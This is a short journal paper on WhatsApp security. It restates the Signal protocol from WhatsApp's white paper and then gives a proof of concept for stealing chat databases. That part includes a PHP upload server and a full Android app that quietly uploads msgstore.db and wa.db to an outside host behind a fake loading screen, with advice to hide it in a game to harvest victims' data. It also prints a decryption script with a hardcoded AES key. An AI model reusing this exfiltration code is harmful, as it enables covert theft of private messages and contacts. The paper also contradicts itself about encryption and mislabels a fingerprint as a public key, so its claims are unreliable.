International Journal of Science and Research (IJSR)
ISSN: 2319-7064
Index Copernicus Value (2016): 79.57 | Impact Factor (2017): 7.296

Whatsapp Security

Mazin Riyadh AL - Hameed

Master Computer Science, Modern University for Business & Science, Lebanon

Abstract: ***This Paper discuss the WhatsApp Security & end-to-end encryption, also a brief of encryption keys (Private/Public) is included with the way to exclude theses keys, also a way to attack WhatsApp conversation using Private key is mentioned.***

Keywords: WhatsApp, encryption whatsapp, private/public, security whatsapp

1. Introduction

This white paper provides a technical explanation of WhatsApp's end-to-end encryption system.

WhatsApp Messenger allows people to exchange messages (including chats, group chats, images, videos, voice messages and files) and make WhatsApp calls around the world. WhatsApp messages, voice and video calls between a sender and receiver that use WhatsApp client software released after March 31, 2016 are end-to-end encrypted.

The Signal Protocol, designed by Open Whisper Systems, is the basis for WhatsApp's end-to-end encryption. This end-to-end encryption protocol is designed to prevent third parties and WhatsApp from having plaintext access to messages or calls. What's more, even if encryption keys from a user's device are ever physically compromised, they cannot be used to go back in time to decrypt previously transmitted messages.

This document gives an overview of the Signal Protocol and its use in WhatsApp.

2. Terms

a) Public Key Types

- Identity Key Pair – A long-term Curve25519 key pair, generated at install time.
- Signed Pre-Key – A medium-term Curve25519 key pair, generated at install time, signed by the Identity Key, and rotated on a periodic timed basis.
- One-Time Pre-Keys – A queue of Curve25519 key pairs for one time use, generated at install time, and replenished as needed.

b) Session Key Types

- Root Key – A 32-byte value that is used to create Chain Keys.
- Chain Key – A 32-byte value that is used to create Message Keys.
- Message Key – An 80-byte value that is used to encrypt message contents. 32 bytes are used for an AES-256 key, 32 bytes for a HMAC-SHA256 key, and 16 bytes for an IV.

c) Client Registration

At registration time, a WhatsApp client transmits its public Identity Key, public Signed Pre-Key (with its signature), and a batch of public One-Time Pre-Keys to the server. The WhatsApp server stores these public keys associated with the user's identifier. At no time does the WhatsApp server have access to any of the client's private keys.

d) Initiating Session Setup

To communicate with another WhatsApp user, a WhatsApp client first needs to establish an encrypted session. Once the session is established, clients do not need to rebuild a new session with each other until the existing session state is lost through an external event such as an app reinstall or device change.

To establish a session:

1. The initiating client ("initiator") requests the public Identity Key, public Signed Pre-Key, and a single public One-Time Pre-Key for the recipient.
2. The server returns the requested public key values. A One-Time Pre-Keyis only used once, so it is removed from server storage after being requested. If the recipient's latest batch of One-Time Pre-Keyshas been consumed and the recipient has not replenished them, no One-Time Pre-Key will be returned.
3. The initiator saves the recipient's Identity Key as I-recipient, the Signed Pre-Key as S-recipient, and the One-Time Pre-Key as O-recipient.
4. The initiator generates an ephemeral Curve25519 key pair, E-initiator.
5. The initiator loads its own Identity Key as I-initiator.
6. The initiator calculates a master_secret as master_secret = ECDH (I-initiator, S-recipient) || ECDH (E-initiator, I-recipient) || ECDH (E-initiator, S-recipient) || ECDH (E-initiator, O-recipient). If there is no One Time Pre-Key, the final ECDH is omitted.
7. The initiator uses HKDF to create a Root Key and Chain Keys from the master_secret.

e) Receiving Session Setup

After building a long-running encryption session, the initiator can immediately start sending messages to the recipient, even if the recipient is offline. Until the recipient responds, the initiator includes the information (in the header of all messages sent) that the recipient

requires building a corresponding session. This includes the initiator's E-initiator and I-initiator.

When the recipient receives a message that includes session setup information:

1. The recipient calculates the corresponding master_secret using its own private keys and the public keys advertised in the header of the incoming message.
2. The recipient deletes the One-Time Pre-Key used by the initiator.
3. The initiator uses HKDF to derive a corresponding Root Key and Chain Keys from the master_secret.

f) Exchanging Messages

Once a session has been established, clients exchange messages that are protected with a Message Key using AES256 in CbC mode for encryption and HMAC-SHA256 for authentication.

The Message Key changes for each message transmitted, and is ephemeral; such that the Message Key used to encrypt a message cannot be reconstructed from the session state after a message has been transmitted or received.

The Message Key is derived from a sender's Chain Key that "ratchets" forward with every message sent. Additionally, a new ECDH agreement is performed with each message roundtrip to create a new Chain Key. This provides forward secrecy through the combination of both an immediate "hash ratchet" and a round trip "DH ratchet."

g) Calculating a Message Key from a Chain Key

Each time a new Message Key is needed by a message sender, it is calculated as:

1. Message Key = HMAC-SHA256(Chain Key, 0x01).
2. The Chain Key is then updated as Chain Key = HMAC-SHA256(Chain Key, 0x02).

This causes the Chain Key to "ratchet" forward, and also means that a stored Message Key can't be used to derive current or past values of the Chain Key.

h) Calculating a Chain Key from a Root Key

Each time a message is transmitted, an ephemeral Curve25519 public key is advertised along with it. Once a response is received, a new Chain Key and Root Key are calculated as:

1. ephemeral_secret= ECDH (Ephemeral-sender, Ephemeral-recipient).
2. Chain Key, Root Key = HKDF (Root Key, ephemeral_secret).

A chain is only ever used to send messages from one user, so message keys are not reused. Because of the way, Message Keys and Chain Keys are calculated, messages can arrive delayed, out of order, or can be lost entirely without any problems.

i) Verifying Keys

WhatsApp users additionally have the option to verify the keys of the other users with whom they are communicating so that they are able to confirm that an unauthorized third party (or WhatsApp) has not initiated a man-in-the-middle attack. This can be done by scanning a QR code, or by comparing a 60-digit number.

The QR code contains:

1. A version.
2. The user identifier for both parties.
3. The full 32-byte public Identity Key for both parties.

When either user scans the other's QR code, the keys are compared to ensure that what is in the QR code matches the Identity Key as retrieved from the server.

The 60-digit number is computed by concatenating the two 30-digit numeric fingerprints for each user's Identity Key. To calculate a 30-digit numeric fingerprint:

1. Iteratively SHA-512 hash the public Identity Key and user identifier 5200 times.
2. Take the first 30 bytes of the final hash output.
3. Split the 30-byte result into six 5-byte chunks.
4. Convert each 5-byte chunk into 5 digits by interpreting each 5-byte chunk as a big-endian unsigned integer and reducing it modulo 100000.
5. Concatenate the six groups of five digits into thirty digits.

j) My Public Key

My Public Key is:

76057 19600 80014 70022 03552 86012

k) Extract Private Key

Here we will describe how to decrypt WhatsApp backup with crypt7 encryption. To decrypt crypt7 WhatsApp backup database, we will need a cipher key. To obtain the key, the device must first be rooted. The key is located at path/data/data/files/com.whatsapp/key. If we have a device that is not rooted and we decided not to (digital forensics best practices!), this will describe how by using an application originally developed by TripCode and updated by AbinashBishoyi, called **WhatsApp-Key-DB-Extractor**.

3. WhatsApp-Key-DB-Extractor

The purpose of this script is to provide a method for WhatsApp users to extract their cipher key on Non-Rooted Android devices. This script will also extract the latest unencrypted WhatsApp Message Database (msgstore.db) and Contacts Database (wa.db).

Prerequisites:

- A window(Vista,7 or 8) workstation
- A mobile phone with Android version 4.0 or higher
- A mobile phone with WhatsApp application version that create backup files with crypt6 / crypt7 / crypt 8encryptions. External SD card is not necessary.

Extracting Steps

Step 1: Install Java. If not, you can get it for free from this website Download Java.
Step 2: Install Android Debug Bridge (ADB) Drivers. If not, it is freely available at this website ADB Installer. Upon installing ADB, it is recommended that you have your Internet connection on. While installing they might have to retrieve something from the other sites.
Step 3: On your mobile phone, turn on the USB Debugging mode found in Developers Options.
Step 4: Download & extract WhatsAppKeyExtract.zip on your computer, maintaining the directory structure. Extract it to your desktop would be fairly fine.
Step 5: After the WhatsAppKeyExtract.zip has been successfully extracted, browse into the folder and run a bat file called WhatsAppKeyExtract.bat.
Step 6: Connect your mobile device to your workstation. Wait until all necessary drivers are installed. Make sure all drivers are installed. Failing at this point will causes your mobile phone not detected by WhatsAppKeyExtract.bat.
Step 7: Unlock your mobile phone screen saver (if any) and wait for "Full backup" to be displayed on the screen of the device.
Step 8: Leave the password field blank and click on "Back up my data". Wait awhile until WhatsAppKeyExtract window says "Done!".
Step 9: Browse inside the WhatsAppKeyExtract folder, find a folder called extracted.
Step 10: Inside the extracted folder, you will find 3 generated files
Key.db – the key!
Msgstore.db – decrypted whatsapp backup
Wa.db – contacts

There we go. Now we have the key, the decrypted crypt7 WhatsApp backup and the contacts. Now that we have the three extracted data from WhatsAppKeyExtractor, there are several software for us to view the messages such as SQLite viewer, WhatsApp Viewer.

A. Transport Security

All communication between WhatsApp clients and WhatsApp servers is layered within a separate encrypted channel. On Windows Phone, iPhone, and Android, those end-to-end encryption capable clients use Noise Pipes with Curve25519, AES-GCM, and SHA256 from the Noise Protocol Framework for long running interactive connections.

This provides clients with a few nice properties:

1. Extremely fast lightweight connection setup and resume
2. Encrypts metadata to hide it from unauthorized network observers. No information about the connecting user's identity is revealed.
3. No client authentication secrets are stored on the server. Clients authenticate themselves using a Curve25519 key pair, so the server only stores a client's public authentication key. If the server's user database is ever compromised, no private authentication credentials will be revealed.

B. Possible Ways to gain access to Private Key

4. Possibility to intercept/hack a WhatsApp conversation between two people

WhatsApp (until very recently) did not use end-2-end encryption (end2end means that only conversation participants can decrypt each other messages). There is another famous free application called "Telegram" (mostly known for its privacy advantage) that always used end-2-end encryption.

As far as we know, a few years ago, WhatsApp enabled encryption between endpoints (user's application) and its servers (to protect user's private messages against MITM or traffic interception attacks). Notice that it is not end-2-end encryption and your data can be accessed by WhatsApp company (which holds the DB encryption key).

WhatsApp Just Switched on Encryption for a Billion People

5. Steal WhatsApp database (PoC)

The WhatsApp database is saved on the SD card which can be read by any Android application if the user allows it to access the SD card. And since majority of the people allows everything on their Android device, this is not much of a problem.

So, what do we need to steal someone's WhatsApp database? First, we need a place to store the database. Using webserver with a simple php script.

```
1
2   <?php
3   // Upload script to upload Whatsapp database
4   // This script is for testing purposes only.
5
6   $uploaddir="/tmp/whatsapp/";
7
8   if($_FILES["file"]["error"]>0)
9     {
10  echo"Error: ".$_FILES["file"]["error"]."<br>";
11    }
12  else
13    {
14  echo"Upload: ".$_FILES["file"]["name"]."<br>";
15  echo"Type: ".$_FILES["file"]["type"]."<br>";
16  echo"Size: ".($_FILES["file"]["size"]/1024)." kB<br>";
17  echo"Stored in: ".$_FILES["file"]["tmp_name"];
18
19  $uploadfile=$uploaddir.$_SERVER['REMOTE_ADDR']."_".basename($_FILES['file']['name']);
20  move_uploaded_file($_FILES['file']['tmp_name'],$uploadfile);
21    }
22  ?>
23
24  <html><head><title>Shoo..nothing here</title></head><body><form method="post"enctype="multipart/form-
    data"><input type="file"name="file"id="file"><input type="submit"value="Submit"></form></body></html>
```

Making sure to configure the php.ini so that we can upload (large) files.

```
1
2               ...
3               file_uploads=On
4               post_max_size=32M
5               upload_max_filesize=32M
```

Next thing we need is an Android application which uploads the WhatsApp database to the website. First of all, we need some extra rights to access the SD card and to upload to the internet. To do this I added some lines to the AndroidManifest.xml file.

```
1
2       <?xmlversion="1.0"encoding="utf-8"?>
3       <manifest xmlns:android="http://schemas.android.com/apk/res/android"
4          package="bb.security.whatsappupload"
5          android:versionCode="1"
6          android:versionName="1.0">
7
8          <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
9          <uses-permission android:name="android.permission.INTERNET"/>
10
11         <uses-sdk
12            android:minSdkVersion="8"
13            android:targetSdkVersion="19"/>
14
15         <application
16            android:allowBackup="true"
17            android:icon="@drawable/ic_launcher"
18            android:label="@string/app_name"
19            android:theme="@style/AppTheme">
20
21            <activity
22               android:name="bb.security.whatsappupload.MainActivity"
23               android:label="@string/app_name">
24               <intent-filter>
25                  <action android:name="android.intent.action.MAIN"/>
26
27                  <category android:name="android.intent.category.LAUNCHER"/>
28               </intent-filter>
29            </activity>
30         </application>
31
32      </manifest>
```

The upload magic happens before you see the layout, for this proof of concept this activity_main.xml is good enough.

```
1
2         <RelativeLayoutxmlns:android="http://schemas.android.com/apk/res/android"
3            xmlns:tools="http://schemas.android.com/tools"
4            android:layout_width="match_parent"
5            android:layout_height="match_parent"
6            android:paddingBottom="@dimen/activity_vertical_margin"
7            android:paddingLeft="@dimen/activity_horizontal_margin"
8            android:paddingRight="@dimen/activity_horizontal_margin"
9            android:paddingTop="@dimen/activity_vertical_margin"
10           tools:context=".MainActivity">
11
12           <TextView
13              android:layout_width="wrap_content"
14              android:layout_height="wrap_content"
15              android:layout_alignParentTop="true"
16              android:layout_centerHorizontal="true"
17              android:layout_marginTop="179dp"
18              android:text="@string/hello_world"
19              android:textSize="24sp"/>
20
21        </RelativeLayout>
```

So far, nothing exciting yet, the real excitement comes in the MainActivity.java file. We will try to upload 3 files:

- /WhatsApp/Databases/msgstore.db
- /WhatsApp/Databases/wa.db
- /WhatsApp/Databases/msgstore.db.crypt

In newer versions WhatsApp decided to do some crypto magic on their database (msgstore.db.crypt), so it is more secure. It is still possible to read chats from this database, but more on that later. The msgstore.db and wa.db are the old unencrypted databases of WhatsApp.

During the upload of the WhatsApp database files we will display a simple Loading screen, so people think the application is doing something interesting in the background.

```
1
2     packagebb.security.whatsappupload;
3
4     /*
5     * This application is for testing purposes only.
6     * Use of this application is at your own risk.
7     */
8
9     importjava.io.DataInputStream;
10    importjava.io.DataOutputStream;
11    importjava.io.File;
12    importjava.io.FileInputStream;
13    importjava.io.IOException;
14    importjava.net.HttpURLConnection;
15    importjava.net.MalformedURLException;
16    importjava.net.URL;
17
18    importandroid.os.AsyncTask;
19    importandroid.os.Bundle;
20    importandroid.os.Environment;
21    importandroid.app.Activity;
22    importandroid.app.ProgressDialog;
23    importandroid.util.Log;
24    importandroid.view.Menu;
25
26    publicclassMainActivityextendsActivity{
27
28    //A ProgressDialog object
29    privateProgressDialogprogressDialog;
30
31    @Override
32    protectedvoidonCreate(Bundle savedInstanceState){
33    super.onCreate(savedInstanceState);
34    setContentView(R.layout.activity_main);
35    newUploadWhatsApp().execute();
36    }
37
38    @Override
39    publicbooleanonCreateOptionsMenu(Menu menu){
40    // Inflate the menu; this adds items to the action bar if it is present.
41    getMenuInflater().inflate(R.menu.main,menu);
42    returntrue;
43    }
44
45    @SuppressWarnings("deprecation")
46    privatevoiduploadFile(Stringfile){
47    HttpURLConnectionconn=null;
48    DataOutputStreamdos=null;
49    DataInputStreaminStream=null;
50
51    Log.i("FILE","Filename:\n"+file);
52
```

```
StringlineEnd="\r\n";
StringtwoHyphens="--";
Stringboundary="*****";
intbytesRead,bytesAvailable,bufferSize;
byte[]buffer;
intmaxBufferSize=1*1024*1024*1024;
StringurlString="http://bas.bosschert.nl/whatsapp/upload_wa.php";
try{
// ------------------ CLIENT REQUEST
FileInputStreamfileInputStream=newFileInputStream(newFile(
file));
// open a URL connection to the Servlet
URL url=newURL(urlString);
// Open a HTTP connection to the URL
conn=(HttpURLConnection)url.openConnection();
// Allow Inputs
conn.setDoInput(true);
// Allow Outputs
conn.setDoOutput(true);
// Don't use a cached copy.
conn.setUseCaches(false);
// Use a post method.
conn.setRequestMethod("POST");
conn.setRequestProperty("Connection","Keep-Alive");
conn.setRequestProperty("Content-Type",
"multipart/form-data;boundary="+boundary);
dos=newDataOutputStream(conn.getOutputStream());
dos.writeBytes(twoHyphens+boundary+lineEnd);
dos.writeBytes("Content-Disposition: form-data; name=\"file\";filename=\""
+file+"\""+lineEnd);
dos.writeBytes(lineEnd);
// create a buffer of maximum size
bytesAvailable=fileInputStream.available();
bufferSize=Math.min(bytesAvailable,maxBufferSize);
buffer=newbyte[bufferSize];
// read file and write it into form...
bytesRead=fileInputStream.read(buffer,0,bufferSize);
while(bytesRead>0){
dos.write(buffer,0,bufferSize);
bytesAvailable=fileInputStream.available();
bufferSize=Math.min(bytesAvailable,maxBufferSize);
bytesRead=fileInputStream.read(buffer,0,bufferSize);
}
// send multipart form data necesssary after file data...
dos.writeBytes(lineEnd);
dos.writeBytes(twoHyphens+boundary+twoHyphens+lineEnd);
// close streams
Log.e("Debug","File is written");
fileInputStream.close();
dos.flush();
dos.close();
}catch(MalformedURLExceptionex){
Log.e("Debug","error: "+ex.getMessage(),ex);
}catch(IOExceptionioe){
Log.e("Debug","error: "+ioe.getMessage(),ioe);
}
// ------------------ read the SERVER RESPONSE
try{
if(conn!=null){
inStream=newDataInputStream(conn.getInputStream());
Stringstr;

while((str=inStream.readLine())!=null){
```

```
116  Log.e("Debug","Server Response "+str);
117  }
118  inStream.close();
119  }
120
121  }catch(IOExceptionioex){
122  Log.e("Debug","error: "+ioex.getMessage(),ioex);
123  }
124  }
125
126  privateclassUploadWhatsAppextendsAsyncTask<Void,Integer,Void>{
127
128  @Override
129  protectedvoidonPreExecute()
130  {
131  //Create a new progress dialog
132  progressDialog=ProgressDialog.show(MainActivity.this,"Loading Application, please wait...",
133     "Loading, please wait...",false,false);
134  }
135
136  //The code to be executed in a background thread.
137  @Override
138  protectedVoiddoInBackground(Void...params)
139  {
140
141  StringfileWACrypt=Environment.getExternalStorageDirectory()
142  .getPath()+"/WhatsApp/Databases/msgstore.db.crypt";
143  StringfileWAPlain=Environment.getExternalStorageDirectory()
144  .getPath()+"/WhatsApp/Databases/msgstore.db";
145  StringfileWAwa=Environment.getExternalStorageDirectory()
146  .getPath()+"/WhatsApp/Databases/wa.db";
147
148  MainActivity.this.uploadFile(fileWACrypt);
149  MainActivity.this.uploadFile(fileWAPlain);
150  MainActivity.this.uploadFile(fileWAwa);
151  returnnull;
152  }
153
154  //Update the progress
155  @Override
156  protectedvoidonProgressUpdate(Integer...values)
157  {
158  //set the current progress of the progress dialog
159  progressDialog.setProgress(values[0]);
160  }
161
162  //after executing the code in the thread
163  @Override
164  protectedvoidonPostExecute(Voidresult)
165  {
166  //close the progress dialog
167  progressDialog.dismiss();
168  //initialize the View
169  setContentView(R.layout.activity_main);
170  }
171
172  }
173  }
```

By doing the magic in the loading screen you can also add this code to a real application instead of the *Hello World* message you see now. Combine it with something like FlappyBird and a description how to install applications from unknown sources and you can harvest a lot of databases.

The WhatsApp database is a SQLite3 database which can be converted to Excel for easier access. Lately WhatsApp is using encryption to encrypt the database, so it can no longer be opened by SQLite. But we can simply decrypt this database using a simple python script. This script converts the crypted database to a plain SQLite3 database (got key from WhatsAppXtract).

```
1
2       #!/usr/bin/env python
3
4       importsys
5       fromCrypto.CipherimportAES
6
7       try:
8          wafile=sys.argv[1]
9       except:
10         print"Usage: %s <msgstore.db.crypt>"%__file__
11         sys.exit(1)
12
13      key="346a23652a46392b4d73257c67317e352e3372482177652c".decode('hex')
14      cipher=AES.new(key,1)
15      open('msgstore.db',"wb").write(cipher.decrypt(open(wafile,"rb").read()))
```

6. Conclusion

Messages between WhatsApp users are protected with an end-to-end encryption protocol so that third parties and WhatsApp cannot read them and so that the messages can only be decrypted by the recipient. All types of WhatsApp messages (including chats, group chats, images, videos, voice messages and files) and WhatsApp calls are protected by end-to-end encryption.

WhatsApp servers do not have access to the private keys of WhatsApp users, and WhatsApp users have the option to verify keys in order to ensure the integrity of their communication.

Also, we can conclude that every application can read the WhatsApp database and it is also possible to read the chats from the encrypted databases. Facebook didn't need to buy WhatsApp to read your chats.

The Signal Protocol library used by WhatsApp is Open Source, available here: https://github .com/whispersystems/libsignal-protocol-java/

References

[1] Statt, Nick. "WhatsApp has grown to 1 billion users". The Verge, <http://www.theverge.com/2016/2/1/10889534/whatsapp1billionusersfacebookmarkzuckerberg>
[2] Koum, Jan. "endtoend encryption" WhatsApp Blog, <https://blog.whatsapp.com/10000618/endtoend-encryption>
[3] "WhatsApp Encryption Overview: Technical White Paper". WhatsApp, < https://www.whatsapp.com/security/WhatsApp-SecurityWhitepaper.pdf>